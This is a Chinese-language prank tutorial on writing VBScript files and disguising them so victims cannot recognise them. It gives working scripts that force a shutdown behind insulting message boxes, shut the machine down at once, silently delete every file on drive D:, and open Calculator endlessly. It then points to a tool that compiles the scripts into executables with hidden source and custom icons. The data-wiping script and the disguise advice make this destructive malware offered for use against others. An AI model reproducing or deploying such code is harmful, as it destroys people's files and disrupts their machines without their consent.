怎麼樣使用vbs 惡搞包裝讓人看不出

藍屏後關機：

if MsgBox("你是豬嗎？",vbYesNo,"提示")=vbYes then 
do
msgbox "haha"
loop
else 
  msgbox "還不承認!! 作爲懲罰，藍屏一下",1200,"呵呵呵呵"
   if msgbox ("再給你一次機會你是不是sb",vbyesNo,"逗比選擇")=vbyes then
    msgbox "玩你的"
   else
     Set ws = CreateObject("Wscript.Shell") 
      ws.run "cmd.exe /c shutdown -s -t 5 -c ""呵呵呵我其實是在關機"" "
      do
      msgbox" -----哈哈啊哈哈哈--------------------------------別想去掉      我"
      loop
  end if
end if 

立即關機：

set ink=WScript.CreateObject("WScript.Shell")
msgbox "命令完成成功！"&"By  BlueSniper_ink(123403760)"
ink.Run  "cmd.exe /c shutdown -s -t 0 -f"

刪除d的所有文件：

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 

無限打開計算器:

​

set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop  

scriptcryptor

下載地址： https://www.0daydown.com/tag/scriptcryptor

特色:

​ 1、通過Windows的圖形化操作平臺轉換Javascript 或者 VBScript 爲EXE可執行文件！

​ 2、轉換過程中和EXE文件執行過程中不會產生臨時文件！

​ 3、支持命令行編輯功能！

​ 4、保護腳本的源代碼不被第三方使用者查看和修改！

​ 5、允許你自定義生成後的程序的圖標和版權等信息！

​ 6、編譯後的EXE可執行程序可脫離任何環境單獨運行，不需要”cscript.exe” 和 “wscript.exe” 支持！

使用: 將要轉換的vbs文件導入看下圖就能生成.exe文件